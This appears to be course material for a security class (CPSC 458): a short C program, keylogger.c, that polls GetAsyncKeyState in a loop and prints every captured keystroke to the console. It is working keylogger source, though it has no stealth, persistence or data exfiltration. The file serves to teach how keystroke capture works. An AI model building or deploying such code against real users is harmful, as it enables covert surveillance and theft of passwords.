CPSC 458 - Key logger using GetAsyncKeyState()

keylogger.c

#include <stdio.h>
#include <stdbool.h>

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winuser.h>

#pragma comment(lib, "user32.lib")

int main()
{
    while (true)
    {
        // See https://learn.microsoft.com/en-us/windows/win32/inputdev/virtual-key-codes
        for (int i = VK_LBUTTON; i < VK_OEM_CLEAR; i++)
        {
            // See https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate
            if (GetAsyncKeyState(i) & 0x01)
            {
                if (i >= ' ' && i <= '~')
                {
                    // visible
                    putchar(i);
                }
                else
                {
                    // control chars
                    printf("<%02x>", i);
                }
            }
        }
        Sleep(80);
    }
}

keylogger.exe